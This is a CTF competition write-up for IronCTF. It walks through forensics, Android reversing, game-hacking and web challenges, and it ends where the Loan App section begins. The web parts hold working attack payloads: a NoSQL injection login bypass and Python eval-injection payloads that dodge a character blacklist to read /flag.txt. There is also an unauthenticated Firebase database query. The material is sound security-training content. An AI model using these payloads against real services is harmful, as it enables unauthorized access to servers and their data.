Post

IronCTF

Hello CTFers. This was another great CTF conducted by a accomplice of mine. Team 1nf1n1ty conducted a banger of a CTF, that had great challenges amongst others. We, H7Tex placed 50th out of 1033 teams. Even though, I couldn’t contribute much during CTF as I was travelling, l hope to make write-ups for almost all challenges.

0-5

1
Players: Abu, PattuSai, N1sh, MrGhost

Forensics

Random Pixels

My Image accidently fell into a pixel mixer can you help me recover it?

Author: OwlH4x

Given: chal.zip

1
2
3
4
└─$ unzip chal.zip
Archive:  chal.zip
  inflating: enc.py
  inflating: encrypted.png

Unzipping the zip, we get 2 files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import random, time, numpy
from PIL import Image
from secret import FLAG

def randomize(img, seed):
        random.seed(seed)
        new_y = list(range(img.shape[0]))
        new_x = list(range(img.shape[1]))
        random.shuffle(new_y)
        random.shuffle(new_x)

        new = numpy.empty_like(img)
        for i, y in enumerate(new_y):
                for j, x in enumerate(new_x):
                        new[i][j] = img[y][x]
        return numpy.array(new)

if __name__ == "__main__":
        with Image.open(FLAG) as f:
                img = numpy.array(f)
                out = randomize(img, int(time.time()))
                image = Image.fromarray(out)
                image.save("encrypted.png")

1

At first glance this seems like the PNG file has been scrambled with the randomize() function. In depth, what happens is, the code scrambles an image using a pseudo-random number generator (PRNG) seeded by the current UNIX timestamp using int(time.time()). The image is randomized by shuffling its pixel positions, which makes the output look like random noise. However, this method is vulnerable because the seed used for shuffling is based on the UNIX timestamp, which can be recovered using metadata. Also, when we look at the encryption script,

  • The image is loaded and its pixels are scrambled based on two lists (new_x and new_y) generated by shuffling the x and y coordinates.
  • The shuffle is deterministic as it relies on random.seed(seed). Therefore, if you know the seed, you can reverse the process by performing the same shuffle in reverse.

Cool thing is that, we can find the seed of the image by looking at the times of the encrypted PNG, from exiftool. I did a similar challenge for H7CTF, this is cool to see.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ exiftool encrypted.png
ExifTool Version Number         : 12.76
File Name                       : encrypted.png
Directory                       : .
File Size                       : 22 kB
File Modification Date/Time     : 2024:10:03 02:32:40+05:30
File Access Date/Time           : 2024:10:07 17:28:41+05:30
File Inode Change Date/Time     : 2024:10:07 17:17:22+05:30
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 300
Image Height                    : 300
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 300x300
Megapixels                      : 0.090

Let’s take the time from File Modification Date/Timewhich is 2024:10:03 02:32:40+05:30[+5:30 is not required, as it’s just giving it in IST], as it mentions the time when the image was modified, so a good place to start. Convert the date to a timestamp with some online epoch convertor tool as follows.

Epoch Converter

2

Therefore, the UNIX timestamp at hand is 1727902960, using that as the seed to reverse the process.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import random, numpy
from PIL import Image

def randomize(img, seed):
    random.seed(seed)

    orig_y = list(range(img.shape[0]))
    orig_x = list(range(img.shape[1]))
    random.shuffle(orig_y)
    random.shuffle(orig_x)

    original = numpy.empty_like(img)

    for i, y in enumerate(orig_y):
        for j, x in enumerate(orig_x):
            original[y][x] = img[i][j]

    return original

if __name__ == "__main__":

    path = "encrypted.png"
    encImage = Image.open(path)
    encArray = numpy.array(encImage)

    seed = 1727902960
    
    revImageArray = randomize(encArray, seed)
    revImage = Image.fromarray(revImageArray)
    revImage.save("flag.png")
    print("Process Done!")

After running, the script we get a QR! Then we use a tool called zbarimg, which scans and decodes bar codes from image file right in the CLI.

1
2
3
└─$ zbarimg flag.png
QR-Code:ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}
scanned 1 barcode symbols from 1 images in 0.04 seconds

Flag: ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}

Game of Hunt

A Cryptic Voyage

Author: tasarmays

Given: upsidedown.txt

We are given a huge binary file, opening it in cyberchef, and decrypting it from binary, we see it makes somewhat of like a directory listing, and further converting it to hex [I found this after some trial and error], we see the last section of the data end with, 04 03 4b 50, which is the reverse of a zip file format.

p4

When we try to unzip the file, it gives out an error.

1
2
3
4
5
6
7
8
└─$ unzip download.zip
Archive:  download.zip
error [download.zip]:  missing 20957899 bytes in zipfile
  (attempting to process anyway)
error [download.zip]:  start of central directory not found;
  zipfile corrupt.
  (please check that you have transferred or created the zipfile in the
  appropriate BINARY mode and that you have compiled UnZip properly)

using —fixfix tag to try and fix the file.

1
2
3
4
5
6
└─$ zip --fixfix download.zip --out fixed.zip
Fix archive (-FF) - salvage what can
 Found end record (EOCDR) - says expect single disk archive
Scanning for entries...
 copying:   (0 bytes)
 copying:   (3273347146 bytes)

But this didn’t work as well, and I was stuck here for a while, until I switched the mode to bytes from character in reverse, cause character reversing usually takes place in a text file, for files reversing, bytes is more common. After unzipping, we find a lot of PDF files, and sorting by size, we see a PDF with a different size [7 KB].

4

Then, we extract the text from the PDF. We notice that it’s BrainFuck.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ pdf2txt download/ilovepdfs/document_83.pdf > output.txt

┌──(abu㉿Abuntu)-[/mnt/c/Documents4/CyberSec/ironCTF/forensics/gameHunt]
└─$ cat output.txt
How do you feel now, find the hidden esolang :)

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.++++++++
+.---.-.<---.+++++++++++++++++.--------------.>+++++++++++++.<+++++++++++++++++
++.>------------.+++++
+.<++++++.++.>---.<++++.------.>++.<+++++++++.---.------.+++++++.+
++.+++++.---------.>-.
+.+++++++++.

Decoding that we get the flag.

Flag: ironCTF{You_are_the_finest}

Uncrackable Zip

I forgot to ask my friend for the password to access the secret webpage, and now he’s unavailable. I’ve tried guessing the password, but it’s been unsuccessful. My friend is very security-conscious, so he wouldn’t use an easy-to-guess password. He’s also an Emmet enthusiast who relies heavily on code generation shortcuts. Can you help me figure out how to access the secret webpage?

Author: AbdulHaq

Given: website.zip

Initially, you try to bruteforce the zip with all kinds of wordlists, to which the zip file doesn’t even budge. Then we read the description carefully, we see that the friend like emmet, which is a toolkit for web-developers, that allow you to store and re-use commonly used code chunks.

Reading the documentation and all that, even before that, we know that the HTML files start with the OG syntax, and since we know some starting bytes of the plaintext, we can implement a known-plaintext attack on the zip file. For this we can bring out a legendary tool called bkcrack.

bkcrack

1
2
3
4
5
6
└─$ ./bkcrack -L website.zip
bkcrack 1.7.0 - 2024-05-26
Archive: website.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Store       7a0a2e19          274          286 index.html

We see that it uses the ZipCrypto encryption and the Store compressions. Important things to note.

Now, we can create a duplicate index.html with about 12 bytes or more of a known plaintext, which we know from the hints in the description.

Emmet Cheat Sheet

We use the following known plaintext.

1
2
3
4
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">

Also, here’s a guide on this that we can refer to.

bkcrack

Now, we can zip this index.html file with the appropriate encryption and compression techniques, essentially, matching the one in the encrypted zip file.

1
zip -r -e -P "1" -0 index.zip index.html

This command creates a ZIP file (index.zip) containing the file index.html. The contents of index.html are not compressed [Store] (because of the -0 flag) and are encrypted with the password "1" using ZipCrypto.

Had some issues in cracking the zip with the same procedure. Was stuck here for a while. Then while looking at the hex bytes of the plaintext index.html.

1
2
3
4
5
6
└─$ xxd index.html
00000000: 3c21 444f 4354 5950 4520 6874 6d6c 3e0a  <!DOCTYPE html>.
00000010: 3c68 746d 6c20 6c61 6e67 3d22 656e 223e  <html lang="en">
00000020: 0a3c 6865 6164 3e0a 2020 2020 3c6d 6574  .<head>.    <met
00000030: 6120 6368 6172 7365 743d 2255 5446 2d38  a charset="UTF-8
00000040: 223e 0a

We can see that it uses the LF terminator. Now time for some googling.

Changing LF into CRLF [Carriage Return and Line Feed, which are special characters used to indicate the end of a line in text files and other software code]

  • LF (\n, 0x0A): The Unix/Linux standard for line endings.
  • CRLF (\r\n, 0x0D 0x0A): The Windows standard for line endings.

5

1
2
3
4
5
6
└─$ ./bkcrack -L index.zip
bkcrack 1.7.0 - 2024-05-26
Archive: index.zip
Index Encryption Compression CRC32    Uncompressed  Packed size Name
----- ---------- ----------- -------- ------------ ------------ ----------------
    0 ZipCrypto  Store       97eb7647           67           79 index.html

Making sure, it’s all good in the encryption [ZipCrypto] and the compression [Store] parts. Now, we run again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ ./bkcrack -C website.zip -c index.html -p index.html -U decrypt.zip 1
bkcrack 1.7.0 - 2024-05-26
[21:39:28] Z reduction using 64 bytes of known plaintext
100.0 % (64 / 64)
[21:39:28] Attack on 125771 Z values at index 6
Keys: a18ba181 a00857dd d953d80f
78.2 % (98325 / 125771)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 98325
[21:45:11] Keys
a18ba181 a00857dd d953d80f
[21:45:11] Writing unlocked archive decrypt.zip with password "1"
100.0 % (1 / 1)
Wrote unlocked archive.

Yessir. Shout-out to @Zukane for helping me out on this.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ cat index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flag</title>
</head>
<body>
    ironCTF{Wh0_us35_Z1pCrypt0_wh3n_kn0wn_PlA1nt3xt_a7t4cks_ex1s7?}
</body>
</html>

Flag: ironCTF{Wh0_us35_Z1pCrypt0_wh3n_kn0wn_PlA1nt3xt_a7t4cks_ex1s7?}

Air Message

what a noisy audio file, probably nothing useful… Wrap your flag in the format ironCTF{…}

AuthorOwlH4x

Hint: The output file is a 8bit mono PCM wav file

Given: out.wav

At first glance, almost all would have figured out there was a morse hidden in the file. I used this tool that @lans recommended after the event.

morse-analyzer

Running the morse-analyzer.exe on the file. It really did spit out the morse LOL.

6

Then, we just use a morse decoder to finish off the job. But really I think the indented method might be to clean up the WAV file, do some tweaking’s on the pitch, hertz and whatnot.

7

Flag: ironCTF{W3LC0M370D5P}

8-ball Game

An 8-ball pool player has planned a strategy for the next three quarters match. I would like to know what the strategy is. Can you help me find out?

Given: One Drive

We see a huge disk.tar file for about 990MB. Extracting that we get a disk.001 file, which turns out to be a boot sector image.

1
2
└─$ file disk.001
disk.001: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 523479040, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 2027519, $MFT start cluster 84480, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 08c108c72108c64d4; contains bootstrap BOOTMGR

Mounting the file we see lot of a loop holes to fall into.

1
sudo mount -o loop,ro disk.001 /mnt/8/

Now, I’ll refer @q4say - only person to blood and solve this challenge. Full credits to him.

Diving into Documents\flag, we see a lot of PNG pieces.

1
2
3
4
5
6
7
┌──(abu㉿Abuntu)-[/mnt/8/Documents/flag]
└─$ ls
'Drake m'          piece_14_40.png   piece_20_25.png   piece_25_1.png    piece_30_4.png    piece_35_36.png   piece_4_21.png
'Drake p'          piece_14_4.png    piece_20_26.png   piece_25_20.png   piece_30_5.png    piece_35_37.png   piece_4_22.png
 piece_10_10.png   piece_14_5.png    piece_20_27.png   piece_25_21.png   piece_30_6.png    piece_35_38.png   piece_4_23.png
 piece_10_11.png   piece_14_6.png    piece_20_28.png   piece_25_22.png   piece_30_7.png    piece_35_39.png   piece_4_24.png
 piece_10_12.png   piece_14_7.png    piece_20_29.png   piece_25_23.png   piece_30_8.png

Here’s a script written by @q4say to piece them all together.

1
2
3
4
5
6
7
8
9
10
11
12
 mkdir out
 for i in $(seq 1 40);
 do
    convert piece_{1..40}_${i}.png -append out/output_${i}.png
 done
cd out
 for i in $(seq 1 40);
 do
    convert output_${i}.png -rotate 90 r90/90_output_${i}.png
 done
 cd r90
 convert 90_output_{1..40}.png -append final.png

8

Seems like, this was another loop hole LOL.

Other one to note, is under /Documents/fff

1
2
3
┌──(abu㉿Abuntu)-[/mnt/8/Documents/fff]
└─$ cat flag\ description
flag is not here all the best try well check all the file don't take anything as silly. but i know he loved this "Let's set each other's lonely night, be each other's paradise" i don't know what it is may be key check all the possible

We see, it’s a Justin Bieber song, then we dive into hitsong.wav, there seems to a be a lot of highs and lows in the spectrogram of the audio file. Binary data.

Here is a still from @q4say’s write-up.

9

I have no idea, how he extracted the 0s and 1s. Seems hella confusing to me. Anyways here is the extracted binary data.

1
2
3
4
01101001011100100110111101101110010000110101010001
00011001111011011010010101111101100011011010000110
00010110110001101100011001010110111001100111011001
010101111101111001011011110111010101111101

Flag: ironCTF{i_challenge_you}

Warmup

Mango

Mangoes are good for health! do you know what else are good for health? well, check my website about nutritious fruits!

AuthorVigneswar

Mango 🥭

10

We see a potential NoSQL injection vulnerability, we can exploit the vulnerability by passing in the payload: username[$eq]=admin&password[$ne]=1.

[NoSQL injectionHackTricks](https://book.hacktricks.xyz/pentesting-web/nosql-injection)

But, there was anther wild way to do this in an unintentional way. Just by visiting /admin/index we get the flag. FFUF to the rescue.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ curl https://mango.1nf1n1ty.team/admin/index
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Index</title>
<link rel="stylesheet" href="/styles.css">
</head>
<body>
<div class="admin-container">
<h1>Admin Panel</h1>
<p>Here is the flag: <strong>
ironCTF{I_Said_M@nG0_N0t_M0ngo!}

Flag: ironCTF{I_Said_M@nG0_N0t_M0ngo!}

Treasure Hunt

I like colors and solving puzzles. What is better than having an app that brings both of them together?

Author: p3rplex3d

Given: TreasureHunt.apk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ apktool d TreasureHunt.apk -o output
I: Using Apktool 2.7.0-dirty on TreasureHunt.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/abu/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Running this APK on an emulator (My Phone LOL), there’s pretty much just a image over there.

11

First part was in /res/layout/activity_main.xml

12

Found the second part at /res/values/strings.xml

13

Flag: ironCTF{3ver_h3ard_0f_4ndro1d_r3v?}

Miscellaneous

John’s Cryptic Stories

John’s skill with flags is unmatched; perhaps the little taps he deciphers hold the secret in the story.

NOTE: Discord Bot

Author: l0h1nth

Onto Discord we go. The bot can be called with the command !help

14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Part 0:
The hacker-name-John was well known in the underground
He was known-for-his-skills and could solve even the-toughest-challenges
Late one night. He began-working on a new challenge.
It seemed easy at first. but there was more than met the eye. He tried.
Part 1:
He focused. He concentrated. He adapted. He started-seeing-patterns that others missed
He is good. He recognized these hidden clues. With each-clue, his-understanding deepened. His-dedication was unwavering
John could feel the pressure.He struggled. can crack-this, he thought
Time was running-out, but he stayed calm.
Every keystroke mattered. He waited. He was almost at the end. Happiness-was filled
Part 2:
Finally. the last piece of the challenge was in place. Success was his. and he-couldn't help-but smile
The breakthrough had come at last. after-long-hours-of-perseverance
His dedication had paid off. Every-detail every clue. that had led to this moment.
He admired. his work with a sense of accomplishment. The hacker-name-John had done it again. solving-the unsolvable
Part 3:
He knew this victory was just one of many-to-come, and with that thought. He prepared. He awaited for his next challenge.
As dawn broke. John-reflected on the journey.
Each challenge had sharpened his skills. In each victory. He had strengthened his-resolve
He looked-forward to new-challenge. New mysteries to unravel. New challenges.
The world of hacking was full of secret.He was confident. He believed. He was ready to uncover them all.

Now, we see a lot of odd - at random places. When analyzing more carefully, we need dots(.) dashes(-) and line-breaks represent spaces. Now time to extract.

1
-- ----- .-. ... ...-- ..--.- ..- -. ...- ...-- .---- .-.. ..--.- --... .-. ..- --... ....

Flag: ironCTF{M0RS3_UNV31L_7RU7H}

Android

Fire in the Base Camp

I was playing with the dice when I heard about the fire in the base camp. Can you get there on time?

Author: p3rplex3d

Given: Fire_in_the_Base_Camp.apk

1
2
└─$ file Fire_in_the_Base_Camp.apk
Fire_in_the_Base_Camp.apk: Android package (APK), with gradle app-metadata.properties

In new territory here, Android here I come. Let’s decompile the APK with apktool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ apktool d Fire_in_the_Base_Camp.apk -o output
I: Using Apktool 2.7.0-dirty on Fire_in_the_Base_Camp.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/abu/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes2.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Under /res/values/strings.xml. We find something interesting.

1
2
3
4
5
6
7
8
9
10
<string name="fb1">/is/this/the/flag</string>
    <string name="fb2">/i/think/this/is/the/one</string>
    <string name="fb3">/seriously/give/me/the/flag/now</string>
    <string name="fb4">/please/give/it/to/me</string>
    <string name="fburl">https://app3-7d107-default-rtdb.firebaseio.com/</string>
    <string name="gcm_defaultSenderId">985578571021</string>
    <string name="google_api_key">AIzaSyB5CLXsgdvoVA9hpKp5a1lRy1E_ixky89I</string>
    <string name="google_app_id">1:985578571021:android:9559151c1132353abddc44</string>
    <string name="google_crash_reporting_api_key">AIzaSyB5CLXsgdvoVA9hpKp5a1lRy1E_ixky89I</string>
    <string name="google_storage_bucket">app3-7d107.appspot.com</string>

See a critical endpoint. https://app3-7d107-default-rtdb.firebaseio.com/

We can try to attempt to query fburl, the Firebase database for any relevant information. If there are no authentication barriers, data may be accessible. Let’s use curl to do the job.

1
curl 'https://app3-7d107-default-rtdb.firebaseio.com/.json'

The .json at the end is required for Firebase Realtime Database REST API queries, as it returns the data in JSON format. And that does the job.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
  "flag": "ironCTF{fak3_f1ag}",
  "please": {
    "f1": "ironCTF{",
    "f2": "1s_th",
    "f3": "15_7h3_",
    "f4": "r1ght",
    "f5": "fl4g}",
    "give": {
      "me": {
        "the": {
          "flag": {
            "f1": "ironCTF{",
            "f2": "y0u_pu",
            "f3": "7_0u7_t",
            "f4": "h3_f1",
            "f5": "r3_1n_t",
            "f6": "h3_b4s",
            "f7": "3_c4mp",
            "f8": "_1f84a5",
            "f9": "c66ff5}"
          }
        }
      }
    }
  }
}

Flag: ironCTF{y0u_pu7_0u7_th3_f1r3_1n_th3_b4s3_c4mp_1f84a5c66ff5}

Secure Vault

Can you log in?

Author: p3rplex3d

Given: secure_vault.apk

1
2
└─$ file secure_vault.apk
secure_vault.apk: Android package (APK), with zipflinger virtual entry

And we see a Flutter APK. So we come across a new tool called blutter.

Blutter

And it also seems like I don’t have Flutter installed as well. Another thing I was impressed about blutter, is the following fact.

The blutter.py will automatically detect the Dart version from the flutter engine and call executable of blutter to get the information from libapp.so. This is cool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ python3 ../../../Resources/blutter/blutter.py lib/arm64-v8a/ arm64Output
Dart version: 3.2.6, Snapshot: f71c76320d35b65f1164dbaa6d95fe09, Target: android arm64
flags: product no-code_comments no-dwarf_stack_traces_mode no-lazy_dispatchers dedup_instructions no-tsan no-asserts arm64 android compressed-pointers null-safety
Cloning into '/mnt/c/Documents4/CyberSec/Resources/blutter/dartsdk/v3.2.6'...
remote: Enumerating objects: 2588, done.
remote: Counting objects: 100% (2588/2588), done.
remote: Compressing objects: 100% (2100/2100), done.
remote: Total 2588 (delta 85), reused 1525 (delta 57), pack-reused 0 (from 0)
Receiving objects: 100% (2588/2588), 1.53 MiB | 3.28 MiB/s, done.
<>
-- Installing: /mnt/c/Documents4/CyberSec/Resources/blutter/dartsdk/v3.2.6/../../packages/lib/cmake/dartvm3.2.6_android_arm64/dartvm3.2.6_android_arm64ConfigVersion.cmake
-- Configuring done (4.8s)
-- Generating done (0.1s)
-- Build files have been written to: /mnt/c/Documents4/CyberSec/Resources/blutter/build/blutter_dartvm3.2.6_android_arm64
[22/22] Linking CXX executable blutter_dartvm3.2.6_android_arm64
-- Install configuration: "Release"
-- Installing: /mnt/c/Documents4/CyberSec/Resources/blutter/blutter/../bin/blutter_dartvm3.2.6_android_arm64
libapp is loaded at 0x7fb959d87000
Dart heap at 0x7fb800000000
Analyzing the application
Dumping Object Pool
Generating application assemblies
Generating Frida script

Done. This took like solid 8 minutes. After that, you just browse into /asm/adminvault/main.dart and amongst a couple of fake flags, extract a base64 string to get the real one.

1
2
3
4
5
6
7
8
// 0x279618: r16 = Instance_Base64Codec
    //     0x279618: ldr             x16, [PP, #0x1460]  ; [pp+0x1460] Obj!Base64Codec@47da51
    // 0x27961c: r30 = "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0="
    //     0x27961c: add             lr, PP, #0xa, lsl #12  ; [pp+0xaf28] "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0="
    //     0x279620: ldr             lr, [lr, #0xf28]
    // 0x279624: stp             lr, x16, [SP]
    // 0x279628: r0 = decode()
    //     0x279628: bl              #0x27aad0  ; [dart:convert] Base64Codec::decode

Now, simple decoding. This is so fun.

1
2
└─$ echo "aXJvbkNURnswaF9teV9nMGQhIV95MHVfYnIwazNfaW50MF90aDNfNHBwXzRmNmUyMmNiYX0=" | base64 -d
ironCTF{0h_my_g0d!!_y0u_br0k3_int0_th3_4pp_4f6e22cba}

Flag: ironCTF{0h_my_g0d!!_y0u_br0k3_int0_th3_4pp_4f6e22cba}

Is This Android

I built this calculator for my Computer Science Project and my professor was baffled because there is more it than meet’s the eye.

Authors: AbdulHaq & p3rplex3d

Given: Calculator.apk

1
2
└─$ file Calculator.apk
Calculator.apk: Android package (APK), with zipflinger virtual entry

Seems like this is an another Flutter application. Let’s bring in blutter one more time.

1
└─$ python3 ../../../Resources/blutter/blutter.py lib/arm64-v8a/ arm64Output

That took 9 minutes. Under /asm/ctf_app1, we find the main sources. And under calc.dart, which seems to be the actual source behind the calculator application. We find a hard-coded URL. Shout-out to @FrontS on Discord for guiding me.

15

https://calc.1nf1n1ty.team/calculate

Trying to GET request the site.

1
2
└─$ curl -X GET https://calc.1nf1n1ty.team/calculate
/home/user/app.py

Sort of gives us the directory listing of the file. Nothing much here. Let’s try POST.

1
2
3
4
5
6
7
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate
<!doctype html>
<html lang="en">
<title>415 Unsupported Media Type</title>
<h1>Unsupported Media Type</h1>
<p>Did not attempt to load JSON data because the request Content-Type was not &#39;application/json&#39;.</p>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8d07b9cf6c893e30',t:'MTcyODU3NTAwNC4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>

Oh something different, let’s open that on burp.

Sending the POST request on burp, we still get that unsupported media type error.

16

After spending some more time in figuring out what type of input the server accepts, I come across a string, couple of blocks below the URL.

17

expression, seems like we can pass input with this string. But I have no idea how or where to use this input header. Also I found this endpoint, no idea what’s it for.

18

Oh shoot, that’s a Cloudflare use case. LOL.

Ah, there’s always the CLI and curl to turn back to. Since this is a python server, and probably uses the eval() for the calculator application, let’s try and read the flag with the payload. open('/flag.txt').read()

Quite simple, except that it didn’t work.

1
2
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate -H "Content-Type: application/json" -d '{"expression": "open('/flag.txt').read()"}'
{"result":"unsafe to execute g not allowed"}

Well, that got blocked, now looking for other types of payload to bypass this filter. This happened.

open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()

Basically, the idea is to bypass the filter by convert the characters of the payload to it’s ASCII codes and execute it on the server side as normal characters. And that worked. Yessir!

1
2
└─$ curl -X POST https://calc.1nf1n1ty.team/calculate -H "Content-Type: application/json" -d '{"expression": "open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()"}'
{"result":"ironCTF{aa4a7a86d4beb072c814af4400c7d1fbf09cf9b5}"}

Flag: ironCTF{aa4a7a86d4beb072c814af4400c7d1fbf09cf9b5}

Here’s FrontS write-up for the challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Seeing the apk was created using Flutter, I decided to disassemble it using blutter. 
In the disassembled code, it's possible to see that the app seemed to have a 
hardcoded URL within.
In the source, a POST request with json content type was being created with the 
key of "expression" to be sent to https://calc.1nf1n1ty.team/calculate
Making a GET request to https://calc.1nf1n1ty.team/calculate 
reveals the application's source code location being "/home/user/app.py".
However I wasn't able to find any use of it.
Crafting a POST request exactly as the code mentions, it's possible to see that 
the value to the "expression" you provide, i.e {"expression":"5*5"} results in 25, 
essentially calculating it. 
However, after debugging it a bit, it's possible to deduce that we are within a 
python application which probably used eval(), though there was a very 
constraining blacklist: no unicode chars allowed except numbers and mathematical operators. 
To bypass this, it's feasible to use unicode characters that would get interpreted as their ascii counterparts in python. 
A little bit guessing and experience from other challenges made me think that 
the flag would be located at /flag.txt, which eventually turned out to be right, 
so our objective is to use a payload like open('/flag.txt').read(). 
With this payload in mind, even if I convert it to unicode characters, 
quotes and slash seem to be a problem. Whichever different unicode variant 
of those two I tried, python didn't like them so it's time to think of something else.
In python, the easiest way I could think of was by using chr(num), 
which does not require neither slash nor quotes. 
And since + is a mathematical operator which was not blacklisted, 
it was possible to add chr(num)'s by combining them with + to create '/flag.txt'.
The final payload came to be this:
𝕠𝕡𝕖𝕟(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).𝕣𝕖𝕒𝕕()

Game Hacking

Now let’s dive into yet another new territory. It got me all feelings.

19

gotta hack em all

Find the all parts of flag by hacking this.

ironCTF{Combine all flag parts}

Author: AbdulHaq

Given: hack-em-all.zip

Using zipinfo, we see a lot of musical files [.mid & .ogg]. Anyways, we see Game.exe and run it. Woah, an actual game loads up !

20

This is so cool. Oh my goodness.

21

While playing the game, we find out the task it to meet the gentlemen and get a cup of tea from him, catch is that the entire plot is blocked by the grass barrier.

22

Here is the chef outside the grass barrier.

23

Well, there was no visible or fair way to meet the chef, so we resort to hack it. We use a tool, RPGMakerDecrypter, which is a tool for extracting RPG Maker XP, VX and VX Ace encrypted archives.

RPGMakerDecrypter

But before that.

24

You see this Game.rgssad file, that is the one we targeting. It contains all the juicy information.

We also need the RPG Maker software.

[Downloads And Free TrialsRPG MakerMake Your Own Game!](https://www.rpgmakerweb.com/downloads)

25

This is the one I downloaded. Please don’t ask me why LOL.

Note: Run the RPGVX_E.exe as administrator.

Unfortunately, we need a .vsproj file, that is required by the RPG maker, but we don’t have one. So, we look for other ways.

With little hope left, I turn to Discord for answers, and answers they gave. Shout-out to @actors and @Adya and all other fellow CTFers.

You actually had to install the RPG Maker XP. Here is the reasoning from @actors.

26

Once, you install the whole Maker thing, copy the contents of both the initial challenge files and the files extracted from the Decryptor. Here are the contents of the game directory.

27

After all that, press F12 to compile and run the game.

28

Then, you might see the new Debug option, which is cool. Now, you know you’re in it for real.

29

You can play around with the Debug option, for instance here I made it snow.

30

After a while, I pinged the author about this, we don’t me there’s another way to solve it, but I’m pretty sure that someone skilled can do it this way.

So in the the /Data folder that the RPGMakerDecryptor made, two files apparently had the flags in parts.

Map042.rxdata and items.dat.

Note: ironCTF{Part 1 + Part 3 + Final Part}

Under items.dat

1
Part1 of the challenge flag is 840c77995d which will motivate you to find the whole flag.

Under Map042.rxdata

1
2
3
Granny Hazel: "Oh my stars, you actually did it! You've got quite the knack for this, 
don't you? Here's the third part of the flag";i;ijo;
["'pbAddForeignPokemon(:SHUCKLE, 20, ;i;ico;["&_I("aaaaa"), _I("d886cac6f9")
1
2
3
4
Granny Hazel: "Oh, you've done it, dear! You've opened the suitcase! I'm ever so grateful.
 Here's the final part of the flag as promised. You've been such a great ;i;ijo;["
help!";i;i�o;[")pbAddForeignPokemon(:BULBASAUR, 20, ;i;ico
["%_I("fdb8"), _I("f9d4d6b501")

Flag: ironCTF{840c77995dd886cac6f9f9d4d6b501}

Web

Loan App

UH! i keep getting rejected by my loan manager! I wish there was a way to approve it myself 😉

Author: Vigneswar

Given: app.zip

loanapp

Both the username and passwords had to be valid UUIDs in order to register/login.

1
2
3
4
5
6
7
8
9
10
└─$ python3
